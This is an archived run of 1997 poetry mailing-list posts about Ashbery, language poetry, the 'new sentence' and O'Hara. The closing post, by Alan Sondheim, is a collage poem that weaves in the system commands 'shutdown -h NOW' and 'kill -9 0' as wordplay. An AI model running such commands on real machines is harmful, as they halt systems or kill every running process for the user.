> *of the zopi persuasion (really soapy and never sloppy though they do eat slop which they slurp though it is not the ritual indicated in the afir handbuch (Feuerbach 1899)*

in an early morning ramble
love and love
cris

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378. aerialedge
Re: The language of influence
Sat 12 Jul 1997

---

i think it's pretty clear that ashbery's been a big influence-- how bout Peter & Michael Gizzi. Both i wld say have been influenced in quite different ways. Stroffolino's another. Susan Schultz. Joe Ross. Campbell McGrath. etc etc. Seems to me a matter of a tone which is identified w/ Ashbery perhaps simply because he's the most visible practitioner of sd tone, but he wouldn't be "the origin" of that tone either, tho before him it's largely european tho i suppose it's there in Stevens as well.

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379. Steve Shoemaker
Re: The language of influence
Sat 12 Jul 1997

Rod--This is interesting. When you say "largely European" below, whom do you have in mind? s

On Sat, 12 Jul 1997 [redacted] wrote:

> *i think it's pretty clear that ashbery's been a big influence-- how bout Peter & Michael Gizzi. Both i wld say have been influenced in quite different ways.*
> *Stroffolino's another. Susan Schultz. Joe Ross. Campbell McGrath. etc etc. Seems to me a matter of a tone which is identified w/ Ashbery perhaps simply because he's the most visible practitioner of sd tone, but he wouldn't be "the origin" of that tone either, tho before him it's largely european tho i suppose it's there in Stevens as well.*

Steve Shoemaker

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380. Aldon L. Nielsen
Re: The Gizmo of Class
Sat 12 Jul 1997

Ed Sanders had but one gizmo on stage in Boulder (not counting the VCR he was using to record himself for replay on his cable access show back home), so we didn't get to hear him play his musical tie, or his electronic fingers, or any of his other other gizmatic wonders. What he did have with him was a small sampler which alloewd him to use prerecorded accompaniment for one of his songs -- I think experts in the filed refer to this sampler as an Ashbery --

_____

When I heard of the joint Clinton/Blair declaration of the end of the class war, I couldn't help thinking of Stalin! -- Once Stalin had consolidated his regime, the "Soviet" government declared that the classes no longer existed and hence the class war had come to an end (and, hence no further need for workers to create their own organizations, like, say, Soviets and unions) -- The oft repeated claim than everyone in America IS middle-class serves a similar, though admittedly a tad less deadly, function --

_____ Sunday night in Boulder Kristen Prevallet will screen Helen Adam's experimental film as part of Stan Brakhage's Sunday Night film salons -- 7:30 PM in the Art building at the University of Colorado

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381. Aldon L. Nielsen
sciencemeisters dis week at cine16 (fwd)
Sat 12 Jul 1997

Those of you in the Bay area may want to attend this -- those of you in other parts of the country may want to attend to this --

---------- Forwarded message ----------
Date: Sat, 12 Jul 1997 11:55:19 -0700
From: Geoff Alexander <[redacted]>
To: [redacted]
Subject: sciencemeisters dis week at cine16

For map to ‘cine16’, directions, and information on future shows, visit
our website at: http://www.cine16.com

PRESS RELEASE 37

FOR IMMEDIATE RELEASE

Contact: Geoff Alexander
[redacted]

PROGRAM NOTES FOR cine16 FILM FESTIVAL'S July 17 program at the downstairs Speakeasy in the Agenda Restaurant & Lounge, downtown San Jose, Thursday at 7:30 pm. Admission is always free. Smoking & drinking permitted and encouraged to maintain the bohemian veneer.

July 17: Cinematic Masters of Science and Math

Imagine a school in which: the woodshop teacher turns the shop into his own private furniture store, trading passing grades for student "slave labor" in the manufacture of pieces which he takes away for home use or sale; the metal shop instructor issues an 'F' grade to a student for a project in which he had worked for months, saying "you couldn't have done this"; an English teacher is arrested for selling dope to her students; the head of boys Physical Education pulls out a camera and snaps dozens of boys in the shower; a science instructor angrily hurls part of a science experiment at the head of a student seated at the rear of the classroom. This, my friends, is not the plot of some wacky summer film. Nope, it's the school I attended, Dartmouth Jr. High, which still sits staring blankly at the traffic on Blossom Hill Road. And right, you guessed it, I'm the kid who nearly got nailed by the ballistic science experiment gone wrong. Perhaps it was the unintentionally errant arms of science teachers like Mr. Hays that caused thousands of kids to turn off to the sciences, aided and abetted by perhaps the lack of a proper background in child learning theory, by uninspired teaching materials, and the use of boring, really awful science films.

You know the type: the didactic black and white Coronets, the terribly narrated Moody Institute films with the religious message --- ("them bugs ain't as smart as the creator") --- at the end of every film, and all the others with their paste-and-glue graphical representations of mitosis, amoebae, and paramecia. I'm telling you this story as an introduction to tonight's program, which features science and math films that are so phenomenally good that anyone could be enchanted. There may be no way to adequately count the number of young minds saved by Bruce Russell, Thomas Stanton, Norman & Marjorie Bean, David & Peter Boulton, and Bruce & Katherine Cornwell, who made science and math films engaging, fun, intellectually stimulating, and artistically beautiful. These films truly created an educational revolution, are magnificent films for people of any age, and will be a real eye-opener for cine16 viewers who graduated from high school prior to 1980.

Tonight's films include:

'Imaging the Hidden World: the Light Microscope' 1984, d. Bruce Russell. It's difficult to pick a Russell film, because they're all good. This film shows how the

filmmaker sets up the 'scope, light, and filters to make his visually arresting films.

'Crystals: Flowers of the Mineral Kingdom' 1983, d. Thomas Stanton. Stanton's film of rapidly expanding colorful crystalline growths is reminiscent of a quote attributed to Salvador Dali', who once said "I don't take acid, I am acid"

'Carnivorous Plants 1979, d. Thomas Stanton. A Blue Ribbon award winner at the American Film Festival. Insidious.

'Fungi' 1983, p. David & Peter Boulton. Neat slo-mo shots of slowly spreading destructive growths. Boulton-Hawker Films were made in Britain, distributed by Benchmark. Exceptional.

'Spiders -- Backyard Science' 1978', p. Norman & Marjorie Bean. OK, a film for elementary kids, complete with friendly narrator... except that these horrifying images will scare the bejesus out of them! Extreme color close-ups of nightmarish clarity.

'Congruent Triangles' 1976, d. Bruce & Katharine Cornwell. Abstract design, post-bop jazz , and Klee-like animation make a showpiece out of a seemingly mundane subject.

'Insect Parasitism: the Alder Woodwasp' 1968, p. Gerald Thompson & E.R. Skinner. The wasp drills a hole in a log, deposits its eggs, then four different kinds of bugs use its developing offspring for all sorts of things. Incredible cinematography, docs in labcoats. A fascinating film.

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382. Thomas Bell
neologism/Graham
Sat 12 Jul 1997

My first response to Jorie Graham's poem in the latest _New Yorker was:

popgoesthe newYorkerbubble philosophy.

Is this neologism?

or?
tom bell

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383. **Tom Orange**
langpo, what next
Sat 12 Jul 1997

hard for me to speak re new contexts techniques motivations, but i'm sure that the real work of movements perists long after any passing of said movement's active phase. even the work of those over-determined origins of language writing that jacques debrot lists below still has yet to be fully considered. we're still a long way from getting at the how of, say, zukofsky's question of whether the fugue can be transferred to poetry.

fwd movement pushing further into disjunctive terrains opened by langpo, into verbo-visual electronic icongraphic texts. and a back-questioning into those texts that got us here in the first place ..

t.

Jacques Debrot wrote: "It almost goes without saying that the origins of Language writing are over-determined: Stein, Zukofsky, theory, minimalist/conceptual art, the Peace movement, etc, etc. But now that Language writing's phase as an active literary movement has passed (as Mark Wallace, Mark Du Charme and others have recently pointed out in various magazines), the more interesting question seems to me, what next? Or rather, in what context (and for what purposes) are experimentalist poets now using the disjunctive and non-self-expressivist techniques innovated by Language writing? These are forms I myself prefer, but given that no technique is inherently radical, what motivates their use today?"

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384. **Mark Weiss**
Re: acadominance & langpo
Sat 12 Jul 1997

Does anybody seriously believe that these are language poetry innovations?

> *Or rather, in what context (and for what purposes)*
> *are experimentalist poets now using the disjunctive and non-self-expressivist*
> *techniques innovated by Language writing?*

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385. **Alan * Sondheim**
Explanation, Final, Theory/Writing
Sat 12 Jul 1997

==

Losing Track

At the age of 25 I decided I want to write philosophy. To write a text implies working through domains without guideposts, recuperating older strata, looking up through the dissemination of the wide world's in- formation. Part of me believed that I was writing the world itself, that a secret would manifest its bones, and with that would come pow- er.

Never earthly, the power would equate knowledge with interstitial longings, and hence with a triumphant mastery of death. Space and time were not far behind.

I could never listen to music with pleasure because of textual ab- sence; instead, music became a dialog I abandoned after a furious wager with high-speed sound. Music took far too much for granted, lending itself to pure jouissance. I would head towards video, film, writing, and always writing - writing which could describe the world in a singularity, the compression of everything into - not only the symbolic, but also a token such as V, a set-theoretical universe.

Once V was announced, it was criss-crossed by rules which in fact exhausted V: V was nothing but the domain of those rules, Godel not- withstanding. The rules of the real of course prove much more intract- able; in fact, they may not be rules (which are top-down) at all, so much as part-objects, bottom-up operations with superstructural mani- festations that take on the appearance of relative simplicity. The unsolvable n-body problems are good examples.

Eventually, I became certain I had nothing to contribute on this level - that is, to the concrete progress produced by science and technology - for example, solutions or heuristics for fundamental particle the- ory. I was too undisciplined, too resistant, for that.

Instead, I became concerned with the interrelationship among these abstract systems and consciousness, the interstices of structures, bodies, minds, and the symbolic, plateaued throughout by an imagin- ary. Such was the case that _muck_ necessarily surfaced in this in- vestigation, a muck that created _discomfort_ among those workers on the surface who took the mines for granted.

My work has been in the mines, in the shafts, across the occasional surface irruption. It explores the depths, not recursively, but with a sense of ennui, longing, and the depths are not infinite, just as the symbolic is not an infinite concatenation of broken strings.

More like a Sierpinski Sponge imagined without the recursion, depths are unfounded, unfounding, and as I am fond of saying, unaccountable, and unaccounted-for: hence, an other. And more than or to this, I am also fond of saying that they generate and reflect _the neurotic style of the world,_ a style

necessarily repetitive, obsessive, scarred and sutured, a style which has always already effaced itself, just as language as the appearance of each and every determination.

Thus the neurotic, not schizz, may have a hold or grasp on the world, just as the paranoid comprehends sociobiology in its entirety.

In relation to everything here, there is institutionalization, the conundrum of institutions. Wild theory is incomprehensible in the face of the propriety of regulated reference, footnotes, and a dedication to reasoned argument. I would argue, wildly and unsuccessfully, that this reasoned argument always already precludes, firewalls, forecloses the _muck,_ which is not just a matter of a psychoanalytical and/or rational approach, but also a seeping, oozing, within and without the discomfort of the (borderlined) reader. In this regard, the muck-text is as much performative, process, as it is discursive formation. And in this regard, it remains difficult to translate, suitcase.

On the other hand, it is easy to descend or ascent to a superstruct- ural surface that purports, through skimming (surfing) to present a laissez-faire chaotic mapping of nomadic chains, in lieu of comprehen- sion. And it is easy for me to fool myself that something has been accomplished, beyond the demonstration of a new command, application, or Net phenomenon: And if anything salvages these texts, it's the embarrassment, shame, dirtiness, muck, psychotic flirtations, that refuse to let go, after the command, application, or Net phenomenon has been deciphered.

When I began years ago, I developed the notion of two regimes, the construct and the experiential. The former was external to temporal systems, and an idealized graph of equivalences or transforms; the latter was messy, carried motility within it, and problematized the very nodes and vectors that created the appearances of entities and processes. The two modes intersected in what I later called state or process-oriented graphs. Within this scheme, wild theory is, of course, experiential; traditional discursive formations, on the other hand, appear as-if-grounded in the construct. Thus an ideal academic discourse might be considered a database, allowing the recuperation of argument, revisitation rights/rites, and footnoting allowing the dis- course to partake of others observing the same protocols. While this constructs a language-practice ultimately based on the Enlightenment (or for that matter Euclid), it also precludes both the problematic of reception (beyond reception-theory) and those very cognitive proces- ses that grant the text its semantics in the first place.

So that, by harboring texts within the experiential as primary (as my texts attempt), grounds and reasoned discourse are instead problemati- zed - not in favor of anarchic feeling - but in terms of those tradi- tionally analytic part-objects (such as this text to some extent) that appear within them.

This certainly reduces the necessity of grounds for 'em. *

* And also unfortunately reduces the community of readers, who are no longer guided by those tokens of footnote/reference/etc. that I have referenced here, and that provide the ability to cross-translate, as well as reaffirm a foreclosed but relatively friendly academe. _This_ work, instead, is wounded, refusing to heal, apparently establishing no discourse, critique; and in this sense, it is a corpse of work, not corpus. Later, a corpse will give birth to new forms of life; now, it is an uncomfortable object in the room, leaking onto the table, spil- ling onto the floor.

URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt IMAGES: http://www.cs.unca.edu/~davidson/pix/ TEL [redacted] EXPERIMENTAL (on and off): http://166.84.250.149 Editor, BEING ON LINE

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386. **Jacques Debrot**

Re: The language of influence

Sat 12 Jul 1997

Ashbery's winning the Yale Younger Poets over O'Hara is in some ways proleptic of his later, and strangely wide, appeal, isn't it? It's interesting, by the way, to read Harold Bloom on Ashbery. Bloom dismisses the New York School connection as well as the obvious European influences: Apollinaire, Reverdy, Roussel, Michaux, Cendars, and de Chirico, and reads Ashbery instead (not altogether falsely) as a direct descendant of the line: Emerson-Stevens. It's Bloom's reading of Ashbery that's been the decisive one in terms of Ashbery's legitimation by the academy.

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387. **cris cheek**

Re: neologism/Graham

Sat 12 Jul 1997

> *My first response to Jorie Graham's poem in the latest _New Yorker was:*
>
> *popgoesthe newYorkerbubble philosophy.*
>
> *Is this neologism?*
>
> *or?*

I've not seen the poem - is it not a direct quote? Perhaps it's my software

love and love
cris

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388. **Jacques Debrot**
Re: acadominance & langpo
Sat 12 Jul 1997

Of course your right to say that disjunction is not itself a langpo innovation. However I was refering to specific disjunctive techniques (such as the new sentence) and not to disjunction itself. Still, langpo does seem to have mined disjunction to greater effect than earlier poetries.

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389. **Thomas Bell**
neologism on Unimaginable Wildlife
Sat 12 Jul 1997

Jorie Graham's new poem -

mark strand - "I think she's carved out such a powerful oevre that it's unignorable.

Discuss? OHNO In response to Jorie's New Yorker poem.

"That which..." initially said to me: "Pay attention to how you are living!" and "Examine the other, the alterity, our culture in nice end-of-decade middle class umerica to see how it's effecting you and you are affecting it"

Kind of a popgoesthe newYorkerbubble philosophy. But there must be more. Tell me so, Jorie. "They are intended to be clear...where the poems are difficult is in how they move...so let's let go and see what else we can read with."

Or is it only too imaginable?
tom bell

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390. **Mark Weiss**
Re: acadominance & langpo
Sat 12 Jul 1997

Greater effect than, say, Jackson MacLow or Armand Schwerner?

Still, langpo does seem
>to have mined disjunction to greater effect than earlier poetries.

>
>

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391. **Mark Weiss**
Re: acadominance & langpo
Sat 12 Jul 1997

What's "the new sentence" (and what do you have to be guilty of to get it)?

At 09:42 PM 7/12/97 -0400, you wrote:
>Of course your right to say that disjunction is not itself a langpo
>innovation. However I was refering to specific disjunctive techniques (such
>as the new sentence) and not to disjunction itself. Still, langpo does seem
>to have mined disjunction to greater effect than earlier poetries.
>
>

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392. **Mark Weiss**
Re: acadominance & langpo
Sat 12 Jul 1997

Sorry to do thios in three posts. A long day, too much sun: gelled, they call it here. And the beer, too, didn't help. Anyway: how about Schwitters and Breton? I think it wouldn't be real hard, in a different mood, to compile a long list of pretty effective disjunction-miners. Big claims open themselves to a lot of small potshots. The poems of whatever school or coterie of friends will probably have to stand on their own regardless of claims to innovativeness.

At 09:42 PM 7/12/97 -0400, you wrote:
>Of course your right to say that disjunction is not itself a langpo
>innovation. However I was refering to specific disjunctive techniques (such
>as the new sentence) and not to disjunction itself. Still, langpo does seem
>to have mined disjunction to greater effect than earlier poetries.
>
>

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393. **Daniel Zimmerman**
Re: american language
Sat 12 Jul 1997

David Bromige wrote:
>
> Mark, yes, I too like the "two sandwiches short of a picnic." Theres also
> "One brick shy of a chimney," and "His elevator doesnt go all the way to
> the penthouse," In another context, I've always liked "He was tripping his
> doors off." Be good to see additions to this little list. David

Tangential to this, Fred Mertz on Lucy & Fernando Lamas [skating togehter at Sun Valley to make Ricky jealous]: "they're closer than 5 minutes to 11."

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394. **Peter Ganick**
call for submissions------
Sun 13 Jul 1997

---

female writers, please send up to 4 pages
for special 'women-in-writing' issue of
POTEPOETZINE-----
subject line should read:
ZINEFOUR submission-----

male writers can send upn to 4 pages
for special 'body-as-text' issue of
POTEPOETZINE---
subject line should read:
ZINEFIVE submission------

submissions and inquiries to:
[redacted]
ZINEFOUR and ZINEFIVE will be
sent out before the end of the month-----

out------

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395. **Rebecca Weldon**
Inner Poetics
Sun 13 Jul 1997

David, thanks for the references.

I've been on vacation with the kids and returned yesterday to 283 messages! It took me awhile to plow through. By the way, your message was listed around 24 hours before mine. Interesting phenomenon, that, the response arriving first.

Gus Blaisdell made the statement in the letter attached to Gnomonology that there is no archaeology of the spirit, yet, poetry is exactly that. It is a science of language which reveals the assemblage of life (to quote McCord). What little understanding I have of the intricacies of translating from the Chinese suggests that Lao Tse / Chuang Tzu used the language to the same effect, that is to plumb the spirit in an active way, ie. to make us think about ourselves from inside in contrast to a strictly social perspective.

The dynamic interaction of personal poetics with the social interface of life has characterised human thought since who knows when. It is responsible for the arts as well as the sciences or, perhaps we might say, the science of art and the art of science. Both are products of process, it's just that methods of the former are rather poorly understood by the latter. (By the way, McCord's list brought Cassirer to mind and his discussion of Plato, Poetics and the State is very interesting, when read with Chuang Tzu, Confucius and the Empire in mind. See:Cassirer, The Myth of the State).

I agree that Tagore falls into the same special category, mystic or not. There is something so very the essence of the sub-continent in his work. The lyric form can be a means of cognition, to paraphrase Cassirer via McCord and, in this sense, the evocative power of mantras, sutras, etc. have a place. But then, anything can have a place in poetry if it's what makes up the poet; the quibbling comes when the reader gets involved: silent flowers could not possibly speak, much less in color. But there it is; they did speak to the poet, although one could ask whether the poetry spoke to anyone else (Wittgenstein's observations on conscious and unconscious thought in the Blue book are interesting in this respect).

The notes concerning Sanscrit took me back to the books, ie. Snyder's use of the word "ayang" (which does not seem to be Sanscrit, someone please correct me if I am wrong, I did my studies in French and sometimes have trouble with transcriptions). Perhaps because the alphabet fully represented all the sounds of the language, it was used successfully to translitterate many Asian languages and a concept is sometimes pronounced several ways, ex: ahimsa, ahingsa. Thai owes a particular debt to it, since it enriched the language with words for cultural and religious concepts and activities not previously known and gave it an alphabet, through the medium of Pali (our equivalents being Greek and Latin). However, it does not deal with tone based poetics which are an unusual feature of the Thai language. While Sanscrit may be translitterated, it is

difficult to do so with Thai, Chinese or other tonal languages. The effect would be ludicrous. One wouldn't know if the word meant dog, horse or come/come dog be my horse/horse come be my dog. Of course, if that's the intention...

I'm getting long here. Human languages have been going through process and synthesis through time with poets and poetry at the cutting edge, to say nothing of their effects from translation. When there is something important to say/show/observe about human beings, poets express it before and better than anyone else precisely because they are archaeologists of the spirit. It doesn't surprise me that some of us are well remembered. Finally, in reference to the tenor of recent exchanges, a day of thought (or three months) before response might clarify, distill and enrich.

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396. **rsillima**
The New Sentence
Sun 13 Jul 1997

>----------
>
>Date: Sat, 12 Jul 1997 19:54:24 -0700
>From: Mark Weiss <[redacted]>
>Subject: Re: acadominance & langpo
>
>What's "the new sentence" (and what do you have to be guilty of to get it)?
>
It's a talk I gave sometime around 1980 (Bob Perelman, who hosted it, could date it more exactly--he & Francie brought their newborn son Max to the event, age 7 days, same son who is now about to head off to Yale). I was trying to distinguish all the prose that was sprouting up among the langpo from what little had been done previously by way of the prose poem. It cited Williams' Kora in Hell as a precedent and spent a lot of time looking at Stein's critical distinctions between sentences and paragraphs. At the conclusion it listed seven characteristic qualities of the new sentence:

1) The paragraph organizes the sentences;
2) The paragraph is a unit of quantity, not logic or argument;
3) Sentence length is a unit of measure;
4) Sentence structure is altered for torque, or increased polysemy/ambiguity;
5) Syllogistic movement is: (a) limited; (b) controlled;
6) Primary syllogistic movement is between the preceding and following sentences;

7) Secondary syllogistic movment is toward the paragraph as a whole, or the total work;
8) The limiting of syllogistic movement keeps the reader's attention at or very close to the level of language, that is, most often at the sentence level or below.

By "syllogistic movement" I was trying to show the structural underpinnings what tends to naturalized as "reference."

The talk became the title piece for my first collection of critical writing.

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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397. Tom Orange
langpo innovations / ashbery
Sun 13 Jul 1997

---

mark weiss asks:

Does anybody seriously believe that these are language poetry innovations?

i wrote: "fwd movement pushing further into disjunctive terrains opened by langpo, into verbo-visual electronic icongraphic texts. and a back-questioning into those texts that got us here in the first place .."

i shdve wrote: "disjunctive terrains /further/ opened by langpo..."

i also think jacques debrot's on the mark with his reading of h bloom's reading of ashbery in a primarily emerson-stevens lineage.

strikes me that auden's fwd to /some trees/ -- pretty substantial clout -- consciously puts ashbery smack in descent of rimbaud: rhetorically wringing the neck of certain particular logical relations and conventional congruities of imagery. (p. 15)

tom orange

↑ Index

398. **David R. Israel**

LangPo = LangPo

Sun 13 Jul 1997

[was: Re: A List of Poetry Schools Revisited }

Reading (a week later) this Monday post from Dave Baptiste Chirot --

> *The issue of naming is intriguing--when Grumman gives an area a name--does it open up an area overlooked? Or does naming things fix them--the intellect delighting in boundary to paraphrase Emerson in "The Poet". Or does Grumman's approach, by playing among the tensions involved in naming, does it not perhaps open up one's own desire for naming and fear of it? Language as vehicular (Emerson again) or fugitive is ever in movement, so the best one can hope for is some kind of indication of directions. Whether or not one even keeps and uses the name Grumman provides, his main work is done in indicating those directions.*

All this reminds of a question that has surfaced, amid various doubts & equivocations anent the "acadomino theory" moniker (so to say) --

namely, how might Bob (or others) view the radical tautology of calling LangPo "LangPo"?

(This follows, more or less, in the tradition of *not* calling a spade a "metallo-earth-reconfigurational handheld equipage moiety" -- both possibilities [i.e., the latter, or, in the alternatives, calling it, admittedly more prosaically, "a spade"] presumably falling within the "what it is" school of naming, but with some diff.)

Hey, just a thought.

cheers,
d.i.

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.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o....'
///\\\\\/////////\/\\\o///\/\\\\\\\\\/////\\\...'
.David.....Raphael.....Israel...'
<[redacted]>
[&/[redacted]]
{telephonic.location.202/[redacted]}
| "...honk if you believe in geese" |
\\\/////\\\\\\\\\/\//&\\\/\/////////\\\\\\///..'

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399. Franklin Bruno
(no subject)
Sun 13 Jul 1997

Jacques Debrot wrote:

> *Or rather, in what context (and for what purposes)*
> *are experimentalist poets now using the disjunctive and non-self-expressivist techniques innovated by Language writing? These are forms I myself prefer, but given that no technique is inherently radical, what motivates their use today?*

I think this question is an important one to be asking, but it may be that there's a fallacy hidden here--that of assuming that a technique's 'radical'-ness is the source of its validity. I think that even in the langpo 'moment,' whenever it was and supposing it's ended, the constant attention that its practitioners drew to its antecedents, its place in a tradition, served the purpose of making the techniques at least -seem- fruitful beyond their oppositional status. As I think many would contend they are.

fjb

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400. aerialedge
Re: The language of influence
Sun 13 Jul 1997

Suppose i should have said "largely French" -- Cendrars, Perse, Aragon, etc.

Steve Shoeemaker wrote:

>Rod--This is interesting. When you say "largely European" below, whom do you have in mind? s

On Sat, 12 Jul 1997 [redacted] wrote:

> i think it's pretty clear that ashbery's been a big influence-- how bout
> Peter & Michael Gizzi. Both i wld say have been influenced in quite different
> ways.
> Stroffolino's another. Susan Schultz. Joe Ross. Campbell McGrath. etc etc.
> Seems to me a matter of a tone which is identified w/ Ashbery perhaps simply
> because he's the most visible practitioner of sd tone, but he wouldn't be
> "the origin" of that tone either, tho before him it's largely european tho i

> suppose it's there in Stevens as well.
>

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401. **aerialedge**
exceptions
Sun 13 Jul 1997

Bennett Simpson wrote re O'Hara/NYC:

> *-breathlessly excited, but not fully grounded in place.*

Are these mutually exclusive?

Mark Wallace wrote:

> *The only dominant ideas I'm aware of have very little to do with literature at all.*

Is this an art/life dichotomy we're setting up here? I understand feeling "dumbed down" by it all but is there not a danger in devaluing substantive debate to this degree? I suppose Mark would say of course that's the point. It does seem to me that there is a generally conservative codification of what should be taught-- Mark's point would probably be that there's not enough of a coherent agenda for that characterization to be accurate-- nevertheless it seems to me to push for openings re curriculum is as important as trying to change bureaucratic/economic idiocies, & that these may in fact be the same thing, or at least one can approach it in that manner.

Jacques Debrot wrote:

>given that no technique is inherently radical, what motivates their use today?

Is this a given? I don't think we know. In any case _if_ a given technique is only contextually radical that in itself supplies plenty motivation no?

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402. **Mark Weiss**
Re: exceptions
Sun 13 Jul 1997

> *-breathlessly excited, but not fully grounded in place.*
>
> *Are these mutually exclusive?*

Since I, not Bennet, characterized O'Hara's stance towards NY as above, I'll take responsibility, altho I'm not sure what your letter as a whole is asking. Of course their not necessarily mutually exclusive, but they are in O'Hara's work, and this separation gives rise, I think, to some of the virtues of same. Let me use an analogy. At a certain point in my expatriate time in France I realized that I would never "know" the language because, while my French had the historical depth that reading affords, the cultural referents of daily life of my French age-mates (I hate the word "cohort"--it sounds too much like a Roman soldier) and those of the previous generation learned by them at the kitchen table--snatches of popular song, advertizing slogans, the commercial history of this or that corner (what was there before the bakery, who the baker was, how the neighborhood's changed, and the language attached to that), obsolete slang, echoes of the spoken and body language of popular entertainers, etc., would be forever largely beyond my reach. As well, the personal historical past of the language--the baby talk of my generation, the adolescent jive my age-mates had spoken and forgotten--shared language experience--were also largely unattainable. Even if I learned enough to mimic these, the affect behind the usage would be different. Similarly, O'Hara writes as if his New York exists in an eternal present or near-present, and he seems to skate (and skate marvelously) on one of the city's shinier surfaces. Which is by no means to imply that he was shallow. In fact, we can contrast him with Blackburn, who joined his mother in Greenwich Village, which was then a traditional Italian neighborhood with a few artists of limited means, when he was eleven, fresh out of a childhood in rural Vermont. As a mature poet he knows O'Hara's New York, but he's also aware of a much more complex city. And I think he's often emotionally and intellectually shallower than O'Hara, certainly rarely (except perhaps in the journals) reaches the depth of the Odes. Why is this important to American poets beyond my parochial New York sense? Simon Schuchat is certainly right that New York has been a haven for those whose cultural roots are none too pleasant, and not just gays from less forgiving places, but for artists in general. The expatriate life does offer its large compensations in personal freedom, and many, including the artists in all media who landed there in the fifties and sixties, have exploited that freedom to all of our benefit. But New York is also a metropolitan area of 22 million--the largest in the English-speaking world and home to maybe 8% of Americans. Note, I speak about the metro area--Ginsberg, in Passaic, is within that net, and the kids I worked with in Lynbrook and Perth Amboy were not unlike the kids in white ethnic neighborhoods in the five boroughs, and they got into Manhattan and out of their neighborhood-centered worlds about as rarely as their city agemates. What I'm trying to say is that New York, culturally very different from much of the rest of the country, is the

largest American environment--it's not just an escape from another country or culture. The American mythmakers, confusing, on purpose, I think, two words, place the "heartland" in the "hinterland," as if we've all somehow failed to embrace our true destiny as virtuous Iowa farmers. To the extent that America is my subject or the ground of my work I'd better be prepared to understand, in all its complexity, the urban heartland. So, I love O'Hara's breathless excitement, hope that my own comes across from time to time in my own verse, I know there's more to O'Hara than that, and I don't think that he's particularly grounded in place in New York.

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403. George Bowering
Re: exceptions
Sun 13 Jul 1997

> *-breathlessly excited, but not fully grounded in place.*
>
> *Are these mutually exclusive?*

If they were mutually exclusive, it would be a lie to say "breathlessly excited, but not fully grounded in space"

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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404. George Bowering
Re: Granby, Mon Amour
Sun 13 Jul 1997

> *George had a lampshade on his head at the time and was alternately singing "O Canada" and reciting from the collected works of Charles Bukowski (one of his favorites), so I guess he must be forgiven for his lack of depth perception.*
>
> *Rachel L.*

Okay, maybe I had a lampshade on my head again, but who's the real dope, eh? Rachel kept reaching under it and pushing my nose, trying to turn the light on.

And as for Charles Bukowski: I was reading him because I had been told by someone on this list (I wont reveal his name, but recently correspondents have been making much of his initials) assured me that Bukowski was in the tradition of Stevens and Ashbery.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

405. Mark Weiss
Re: Granby, Mon Amour
Sun 13 Jul 1997

.>
>And as for Charles Bukowski: I was reading him because I had been told by
>someone on this list (I wont reveal his name, but recently correspondents
>have been making much of his initials) assured me that Bukowski was in the
>tradition of Stevens and Ashbery.
>
>
>George Bowering.
> ,
 Does Ashberry have a drinking problem?

↑ Index

406. Rachel Loden
Re: Granby, Mon Amour
Sun 13 Jul 1997

George Bowering wrote:

> *Okay, maybe I had a lampshade on my head again, but who's the real dope, eh? Rachel kept reaching under it and pushing my nose, trying to turn the light on.*

Actually I was only attempting to clean George up a little. He had been so overcome by his readings in Bukowski that he was quite soggy, and I thought, oh hell, not another weeping Canadian. So I tried to lift the lampshade and mop

him up, something I was able to do, in part, by the light of his nose, which was maple leaf red and glowing.

Rachel L.

↑ Index

407. Bennett M. Sm [Dimpson
Re: exceptions
Sun 13 Jul 1997

Actually Rod, Bennett Simpson (me) didn't write the below phrase. Someone did --I remember reading it-- but it wasn't me. I wrote...hmm. Excitement and groundless places (we love you!) are definitely not mutually exclusive. They often go hand in hand, often have little to do with each other. To raise an old question (but one I never understand), What is place in poetry anyway, say, the places of O'Hara's poems, or Berrigan's? I'm not talking about "geographic" St. Mark's places, or studios, or avenues, but a place that, when attributed by generalists, is often metaphysical (fine) or idealized. New York. Is this a place? Distinguishable without streetsigns?

The real v. non-real (imagined). I don't like this dichotomy either. I try not to be a pedant. I have only figments of axes to grind. But sometimes something seizes me, bad grad school, greener grass, and --whoa- everything is allegory.

Bennett

On Sun, 13 Jul 1997 [redacted] wrote:

> *Bennett Simpson wrote re O'Hara/NYC:*
>
> *-breathlessly excited, but not fully grounded in*
> *place.*
>
> *Are these mutually exclusive?*
>
> *Mark Wallace wrote:*
>
> *The only dominant ideas I'm aware*
> *of have very little to do with literature at all.*
>
> *Is this an art/life dichotomy we're setting up here? I understand feeling "dumbed down" by it all but is there not a danger in devaluing substantive debate to this degree? I suppose Mark would say of course that's the point. It does seem to me that there is a generally conservative codification of what should be taught-- Mark's point would probably be that there's not enough of a coherent agenda for that characterization to be accurate-- nevertheless it seems to me to push for openings re curriculum is as important as trying to change bureaucratic/economic idiocies, & that these*

> *may in fact be the same thing, or at least one can approach it in that manner.*
>
> *Jacques Debrot wrote:*
>
> *given that no technique is inherently radical, what motivates their use today?*
>
> *Is this a given? I don't think we know. In any case _if_ a given technique is only contextually radical that in itself supplies plenty motivation no?*

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

408. Alan J Sondheim
clearly unsustainable."
Sun 13 Jul 1997

clearly unsustainable." (United Nations Chronicle, XXXIV, 2, 1997.) soil, and marine fish stocks, continue to be used at rates that are solid waste. Renewable resources, particularly freshwater, forests, top- ate, with rising levels of toxic pollution, greenhouse gas emissions and "Overall, the state of the global environment has continued to deterior-

and poor have grown, both within and between countries." number of people living in poverty has increased, and gaps between rich tries, but many, especially in Africa, continue to be marginalized. The globalization of the world economy has benefited some developing coun- majority of people are living longer and healthier lives. Accelerated world population is slowing, food production is still rising, and the Governments noted that some global trends appear positive. The growth in NOW" and I do "kill -9 0" for all-time. "Assessing progress since RIO, of PROTOCOL PASSWD. I do "<listname> (header (nolock." I do "shutdown -h shattered holes to ACK. Nipple to nipple, node to node, I sew hard STRING I think NOMAIL. I close shattered eyes to MAIL. I make NOACK. I close

